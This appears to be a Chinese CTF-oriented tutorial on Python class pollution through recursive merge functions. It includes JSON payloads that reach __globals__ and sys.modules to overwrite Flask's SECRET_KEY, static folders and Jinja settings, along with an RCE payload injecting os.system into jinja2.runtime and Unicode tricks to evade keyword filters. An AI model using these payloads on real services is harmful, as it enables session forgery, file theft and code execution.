就像Javascript
中的原型链污染一样,这种攻击方式可以在Python
中实现对类属性值的污染。需要注意的是,由于Python
中的安全设定和部分特殊属性类型限定,并不是所有的类其所有的属性都是可以被污染的,不过可以肯定的,污染只对类的属性起作用,对于类方法是无效的。
不过由于Python
中变量空间的设置,实际上还能做到对全局变量中的属性实现污染。
合并函数 就像Javascript
的原型链污染一样,同样需要一个数值合并函数将特定值污染到类的属性当中,一个标准示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
污染尝试 由于Python
中的类会继承父类中的属性,而类中声明(并不是实例中声明)的属性是唯一的,所以我们的目标就是这些在多个类、示例中仍然指向唯一的属性,如类中自定义属性及以__
开头的内置属性等
先以自定义属性为例子:
修改自定义属性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 class father : secret = "koishi" class son_a (father ): pass class son_b (father ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "shruti" } } } print (son_a.secret)print (instance.secret)merge(payload, instance) print (son_a.secret)print (instance.secret)
这里通过实例的 .__class__.__base__
修改了 secret 的值。
修改内置属性也是类似:
修改内置属性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 class father : pass class son_a (father ): pass class son_b (father ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "__str__" : "shruti" } } } print (father.__str__)merge(payload, instance) print (father.__str__)
无法污染的Object
正如前面所述,并不是所有的类的属性都可以被污染,如Object
的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) payload = { "__class__" : { "__str__" : "shruti" } } merge(payload, object )
利用 更广泛的获取 在代码展示部分所给出的例子中,污染类属性是通过示例的__base__
属性查找到其继承的父类,但是如果目标类与切入点类或实例没有继承关系时,这种方法就显得十分无力
全局变量获取 在Python
中,函数或类方法(对于类的内置方法如__init__
这些来说,内置方法在并未重写时其数据类型为装饰器即wrapper_descriptor
,只有在重写后才是函数function
)均具有一个__globals__
属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回(相当于这个变量空间中的globals
函数的返回值)
1 2 3 4 5 6 7 8 9 10 11 secret_var = 114 def test (): pass class a : def __init__ (self ): pass print (test.__globals__ == globals () == a.__init__.__globals__)
所以我们可以使用__globlasl__
来获取到全局变量,这样就可以修改无继承关系的类属性甚至全局变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 secret_var = "koishi" def test (): pass class a : secret_class_var = "secret" class b : def __init__ (self ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = b() payload = { "__init__" : { "__globals__" : { "secret_var" : "cirno" , "a" : { "secret_class_var" : "shruti" } } } } print (a.secret_class_var)print (secret_var)merge(payload, instance) print (a.secret_class_var)print (secret_var)
已加载模块获取 局限于当前模块的全局变量获取显然不够,很多情况下需要对并不是定义在入口文件中的类对象或者属性,而我们的操作位置又在入口文件中,这个时候就需要对其他加载过的模块来获取了
加载关系简单 在加载关系简单的情况下,我们可以直接从文件的import
语法部分找到目标模块,这个时候我们就可以通过获取全局变量来得到目标模块。
我们可以通过当前文件中的类获取 globals 里的内容,import进来的模块也可以直接访问和修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import testclass cls : def __init__ (self ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = cls() payload = { "__init__" : { "__globals__" : { "test" : { "secret_var" : "koishi" , "target_class" : { "secret_class_var" : "shruti" } } } } } print (test.secret_var)print (test.target_class.secret_class_var)merge(payload, instance) print (test.secret_var)print (test.target_class.secret_class_var)
test.py
1 2 3 4 5 6 secret_var = "secret" class target_class : secret_class_var = "ori_secret_class"
加载关系复杂-示例 如CTF
题目等实际环境中往往是多层模块导入,甚至是存在于内置模块或三方模块中导入,这个时候通过直接看代码文件中import
语法查找就十分困难,而解决方法则是利用sys
模块
sys
模块的modules
属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import testimport sysclass cls : def __init__ (self ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = cls() payload = { "__init__" : { "__globals__" : { "sys" : { "modules" : { "test" : { "secret_var" : "koishi" , "target_class" : { "secret_class_var" : "shruti" } } } } } } } print (test.secret_var)print (test.target_class.secret_class_var)merge(payload, instance) print (test.secret_var)print (test.target_class.secret_class_var)
test.py
1 2 3 4 5 6 secret_var = "secret" class target_class : secret_class_var = "ori_secret_class"
如上的Payload
实际上是在已经import sys
的情况下使用的,而大部分情况是没有直接导入的,这样问题就从寻找import
特定模块的语句 转换为寻找import
了sys模块的语句 ,对问题解决的并不见得有多少优化。
加载关系复杂-实际使用 为了进一步优化,这里采用方式是利用Python
中加载器loader
,在官方文档中给出的定义是:
简单来说就是为实现模块加载而设计的类,其在importlib
这一内置模块中有具体实现。令人庆幸的是importlib
模块下所有的py
文件中均引入了sys
模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 print ("sys" in dir (__import__ ("importlib.__init__" )))print ("sys" in dir (__import__ ("importlib._bootstrap" )))print ("sys" in dir (__import__ ("importlib._bootstrap_external" )))print ("sys" in dir (__import__ ("importlib._common" )))print ("sys" in dir (__import__ ("importlib.abc" )))print ("sys" in dir (__import__ ("importlib.machinery" )))print ("sys" in dir (__import__ ("importlib.metadata" )))print ("sys" in dir (__import__ ("importlib.resources" )))print ("sys" in dir (__import__ ("importlib.util" )))
所以只要我们能过获取到一个loader
便能用如loader.__init__.__globals__['sys']
的方式拿到sys
模块,这样进而获取目标模块。
那loader
好获取吗?答案是肯定的。依据官方文档的说明,对于一个模块来说,模块中的一些内置属性会在被加载时自动填充:
__loader__
内置属性会被赋值为加载该模块的loader
,这样只要能获取到任意的模块便能通过__loader__
属性获取到loader
,而且对于python3
来说除了在debug
模式下的主文件中__loader__
为None
以外,正常执行的情况每个模块的__loader__
属性均有一个对应的类。
__spec__
内置属性在Python 3.4
版本引入,其包含了关于类加载时的信息,本身是定义在Lib/importlib/_bootstrap.py
的类ModuleSpec
,显然因为定义在importlib
模块下的py
文件,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']
获取到sys
模块
由于ModuleSpec
的属性值设置,相对于上面的获取方式,还有一种相对长的payload
的获取方式,主要是利用ModuleSpec
中的loader
属性。如属性名所示,该属性的值是模块加载时所用的loader
,在源码中如下所示:
所以有这样的相对长的Payload
:<模块名>.__spec__.loader.__init__.__globals__['sys']
实际环境中的合并函数 目前发现了Pydash
模块中的set_
和set_with
函数具有如上实例中merge
函数类似的类属性赋值逻辑,能够实现污染攻击。idekctf 2022*
中的task manager
这题就设计使用该函数提供可以污染的环境
攻击面扩展 替换函数形参默认值 主要用到了函数的__defaults__
和__kwdefaults__
这两个内置属性
__defaults__
__defaults__
以元组的形式按从左到右的顺序收录了函数的位置或键值形参的默认值,需要注意这个位置或键值形参是特定的一类 形参(也就是要么是位置参数,要么是关键字参数),并不是位置形参+键值形参 (由于位置参数必须在关键字参数的前面,又由于是从左向右读取的,所以只要有一个位置参数有默认值,那么只会获取到位置参数的默认值 ),关于函数的参数分类可以参考学习过后记录的这篇文章:
python函数的位置参数(Positional)和关键字参数(keyword)
从代码上来看,则是如下的效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def func_a (var_1, var_2=2 , var_3=3 ): pass def func_b (var_1, /, var_2=2 , var_3=3 ): pass def func_c (var_1, var_2=2 , *, var_3=3 ): pass def func_d (var_1, /, var_2=2 , *, var_3=3 ): pass print (func_a.__defaults__)print (func_b.__defaults__)print (func_c.__defaults__)print (func_d.__defaults__)
通过替换该属性便能实现对函数位置或键值形参的默认值替换,但稍有问题的是该属性值要求为元组类型,而通常的如JSON
等格式并没有元组这一数据类型设计概念,这就需要环境中有合适的解析输入的方式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 def evil_func (arg_1, shell=False ): if not shell: print (arg_1) else : print (__import__ ("os" ).popen(arg_1).read()) class cls : def __init__ (self ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = cls() payload = { "__init__" : { "__globals__" : { "evil_func" : { "__defaults__" : ( True , ) } } } } evil_func("whoami" ) merge(payload, instance) evil_func("whoami" )
注意这里 __defaults__
设置的值后还有个,不然无法转化为元组数据类型。
1 2 3 "__defaults__": ( True, )
__kwdefaults__
__kwdefaults__
以字典的形式按从左到右的顺序收录了函数键值形参(关键字形参) 的默认值,从代码上来看,则是如下的效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 def func_a (var_1, var_2=2 , var_3=3 ): pass def func_b (var_1, /, var_2=2 , var_3=3 ): pass def func_c (var_1, var_2=2 , *, var_3=3 ): pass def func_d (var_1, /, var_2=2 , *, var_3=3 ): pass print (func_a.__kwdefaults__)print (func_b.__kwdefaults__)print (func_c.__kwdefaults__)print (func_d.__kwdefaults__)
通过替换该属性便能实现对函数键值形参的默认值替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 def evilFunc (arg_1, *, shell=False ): if not shell: print (arg_1) else : print (__import__ ("os" ).popen(arg_1).read()) class cls : def __init__ (self ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = cls() payload = { "__init__" : { "__globals__" : { "evilFunc" : { "__kwdefaults__" : { "shell" : True } } } } } evilFunc("whoami" ) merge(payload, instance) evilFunc("whoami" )
特定值替换 os.environ
赋值可以实现多种利用方式,如NCTF2022
中calc
考点对os.system
的利用,结合LD_PRELOAD
与文件上传.so
实现劫持等
// todo
flask
相关特定属性SECRET_KEY
决定flask
的session
生成的重要参数,知道该参数可以实现session
任意伪造
给出示范环境如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from flask import Flask, requestimport jsonapp = Flask(__name__) app.config['SECRET_KEY' ] = "koishi" def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls : def __init__ (self ): pass instance = cls() @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "[+]Config:%s" % (app.config['SECRET_KEY' ]) app.run(host="0.0.0.0" )
正常访问
使用如下的Payload
:
payload 1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" : "shruti" } } } } }
修改为GET再次请求也仍然被换成了 shruti
_got_first_request
用于判定是否某次请求为自Flask
启动后第一次请求,是Flask.got_first_request
函数的返回值,此外还会影响装饰器app.before_first_request
的调用,依据源码可以知道_got_first_request
值为假时才会调用:
给出示范环境如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from flask import Flask, requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls : def __init__ (self ): pass instance = cls() flag = "Where is Flag?" @app.before_first_request def init (): global flag if hasattr (app, "special" ) and app.special == "U_Polluted_It" : flag = open ("flag" , "rt" ).read() @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) global flag setattr (app, "special" , "U_Polluted_It" ) return flag app.run(host="0.0.0.0" )
flag 文件
before_first_request
修饰的init
函数只会在第一次访问前被调用,而其中读取flag
的逻辑又需要访问路由/
后才能触发,这就构成了矛盾。所以需要使用payload
在访问/
后重置_got_first_request
属性值为假,这样before_first_request
才会再次调用。
携带Payload
重置_got_first_request
属性值为假
payload 1 2 3 4 5 6 7 8 9 { "__init__" : { "__globals__" : { "app" : { "_got_first_request" : false } } } }
init
函数被触发,且其中读取flag
的相关逻辑被执行,这样就获得了flag
_static_url_path
这个属性中存放的是flask
中静态目录的值,默认该值为static
。访问flask
下的资源可以采用如http://domain/static/xxx
,这样实际上就相当于访问_static_url_path
目录下xxx
的文件并将该文件内容作为响应内容返回。除此以外还有个值,static_folder,这个值是表示后端存放文件的位置。
区别:
1 2 3 4 5 6 7 <!--static/hello.html--> <html> <h1>hello</h1> <body> </body> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from flask import Flask, requestimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "flag in ./flag but heres only static/hello.html" app.run(host="0.0.0.0" )
flag 文件
此时http://domain/static/xxx
只能访问到文件系统当前目录下static
目录中的xxx
文件,并且不存在如目录穿越的漏洞
污染该属性为当前目录。这样就能访问到当前目录下的flag
文件了
payload1 1 2 3 4 5 6 7 8 9 { "__init__" : { "__globals__" : { "app" : { "static_folder" : "./" } } } }
static_folder
或者 _static_folder
都行
污染后访问 /static/flag
即可访问到文件了
os.path.pardir
这个os
模块下的变量会影响flask
的模板渲染函数render_template
的解析,所以也收录在flask
部分,模拟的环境如下:
html 文件和 flag 文件同上
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask, request, render_templateimport jsonimport osapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "flag in ./flag but u just can use /file to vist ./templates/file" @app.route("/<path:path>" ) def render_page (path ): if not os.path.exists("templates/" + path): return "not found" , 404 return render_template(path) app.run(host="0.0.0.0" )
直接访问http://domain/xxx
时会使用render_tempaltes
渲染templates/xxx
文件
如果尝试目录穿越则会导致render_template
函数报错
根据报错信息的调用栈可以来到这段代码
跟进95行的get_source
函数,来到Lib/site-packages/jinja2/loaders.py
继续跟进195行的split_template_path
函数
结合函数注释可以了解到这个函数将会把传入的模板路径按照/
进行分割,在34行的逻辑判断上决定了(其余的部分逻辑值基本为假)整个if
语句是否为真,显然需要改语句为假避免触发34行的raise
。34行中的os.path.pardir
值即为..
,所以只要修改该属性为任意其他值即可避免报错,从而实现render_template
函数的目录穿越
修改为无关的koishi
:
payload1 1 2 3 4 5 6 7 8 9 10 11 { "__init__": { "__globals__": { "os": { "path": { "pardir": "koishi" } } } } }
payload2 在下面jinja的研究中,我自己又发现了一个修改的方式,这个方式有点像上面那个指定static文件夹的方式,这个修改方式需要在没访问需要去的界面时进行操作,否则有缓存的话会失效。
1 2 3 4 5 6 7 8 9 10 11 12 13 { "__init__" : { "__globals__" : { "app" : { "jinja_env" : { "app" : { "template_folder" : "./" } } } } } }
Jinja语法标识符 在默认的规则规则下,常用Jinja
语法标识符有{{ Code }}
、{% Code %}
、``,当然对于我们需要RCE
的需求来说,通常前两者才需要留意。而Flask
官方文档中明确告知了,这些语法标识符均是可以依照Jinja
中修改的:
在Jinja
文档中展示了对这些语法标识符进行替换的方法:API — Jinja Documentation (3.1.x) (palletsprojects.com) ,即对Jinja
的环境类的相关属性赋值,里面也有语法标识符的开始和结束符号的变量:
而在Flask
中使用了Flask
类(Lib/site-packages/flask/app.py
)的装饰器装饰后的jinja_env
方法实现上述的功能;
经过装饰器的装饰后,简单来说可以将该方法视为属性,对该方法的获取就能实现方法调用,类似Flask.jinja_env
就相当于Flask.jinja_env()
。
跟进其中调用的create_jinja_environment
,结合注释就可以发现jinja_env
方法返回值就是Jinja
中的环境类(实际上是对原生的Jinja
环境类做了继承,不过在使用上并无多大区别),所以我们可以直接采用类似Flask.jinja_env.variable_start_string = "xxx"
来实现对Jinja
语法标识符进行替换
模拟的环境如下:
1 2 3 4 5 6 7 {#templates/index.html#} <html> <h1>Look this -> [[flag]] <- try to make it become the real flag</h1> <body> </body> </html>
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from flask import Flask, request, render_templateimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "go check /index before merge it" @app.route('/index' , methods=['POST' , 'GET' ] ) def templates (): return render_template("index.html" , flag=open ("flag" , "rt" ).read()) app.run(host="0.0.0.0" )
按照之前想的,使用payload
payload (需要在访问对应页面前进行)
1 2 3 4 5 6 7 8 9 10 11 12 { "__init__" : { "__globals__" : { "app" : { "jinja_env" : { "variable_start_string" : "[[" , "variable_end_string" : "]]" } } } } }
传入后,再去访问index,实际情况是内容并没有按我们想要的渲染,发现flag
值还是没有被填充进来,也就是语法标识符没有被解析,而还是之前的样子
Flask
默认会对一定数量内的模板文件编译渲染后进行缓存,下次访问时若有缓存则会优先渲染缓存,所以输入payload
污染之后虽然语法标识符被替换了,但渲染的内容还是按照污染前语生成的缓存,由于缓存编译时并没有存在flag
变量,所以自然没有被填充flag
。关于模板缓存的相关设置也可以在Jinja
的环境类中设定,在刚才上面Jinja
的官方文档链接稍微下方点的位置介绍了这个值。
这个值在environment创建时被初始化
这个变量与之前的 variable_start_string 有点不同,它在 LRUCache 对象中,这个变量在通过merge函数进行操作时,没有获取到capacity元素的值,于是就创建了一个“capacity”,这和之前的不一样(同理,想要修改它的_mapping
也是不行的),而且就算修改了capacity的值也没有作用,缓存如果在的话,访问对应网页也会加载,而不会判断当前缓存是否已满。
所以需要我们在Flask
服务启动后(当然这里演示就是重启下Flask
服务就行了,对于题目来说一般就是重启容器,或是在污染之后再访问模板)先输入payload
再访问index
路由即可:
Jinja
语法全局数据实际上包括函数、变量、过滤器这三者都能被自定义的添加到Jinja
语法解析时的环境,操作方式于Jinja
语法标识符中完全类似
这里以增加变量为例子给出模拟的环境如下:
1 2 3 4 5 6 7 {#templates/index.html#} <html > <h1 > {{flag if permission else "No way!"}}</h1 > <body > </body > </html >
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from flask import Flask, request, render_templateimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' , methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return render_template("index.html" , flag=open ("flag" , "rt" ).read()) app.run(host="0.0.0.0" )
直接访问会由于没有设定permission
值导致if
条件为假返回No way!
而不是flag
所以将其赋值为任意逻辑非空值让条件为真即可
payload 1 2 3 4 5 6 7 8 9 10 11 12 13 { "__init__": { "__globals__": { "app": { "jinja_env": { "globals":{ "permission": true } } } } } }
模板编译时的变量 在flask
中如使用render_template
渲染一个模板实际上经历了多个阶段的处理,其中一个阶段是对模板中的Jinja
语法进行解析转化为AST
,而在语法树的根部即Lib/site-packages/jinja2/compiler.py
中CodeGenerator
类的visit_Template
方法纯在一段有趣的逻辑
该逻辑会向输出流写入一段拼接的代码(输出流中代码最终会被编译进而执行),注意其中的exported_names
变量,该变量为.runtime
模块(即Lib/site-packages/jinja2/runtime.py
)中导入的变量exported
和async_exported
组合后得到,这就意味着我们可以通过污染.runtime
模块中这两个变量实现RCE。由于这段逻辑是模板文件解析过程中必经的步骤之一,所以这就意味着只要渲染任意的文件均能通过污染这两属性实现RCE。
给出模拟的环境如下:
1 2 3 4 5 6 7 {#templates/index.html#} <html> <h1>nt here~</h1> <body> </body> </html>
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from flask import Flask,request,render_templateimport jsonapp = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class cls (): def __init__ (self ): pass instance = cls() @app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return render_template("index.html" ) app.run(host="0.0.0.0" )
进行RCE
将flag
写入static
目录中
payload 这是windows执行的移动文件的命令,linux做适当修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "__init__" : { "__globals__" : { "__loader__" : { "__init__" : { "__globals__" : { "sys" : { "modules" : { "jinja2" : { "runtime" : { "exported" : [ "*;__import__('os').system('copy .\\\\flag .\\\\static\\\\flag');#" ] } } } } } } } } } }
但是需要注意插入payload
的位置是AST的根部分,是作为模板编译时的处理代码的一部分,同样受到模板缓存的影响,也就是说这里插入的payload
只会在模板在第一次访问时触发,所以请在模板加载之前进行注入
然后就能在static
目录下读取到flag
了
关键字过绕过 Unicode 如:
1 2 __init__ \u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F
全角半角 1 2 3 4 5 6 𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵 0123456789 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻 𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡 _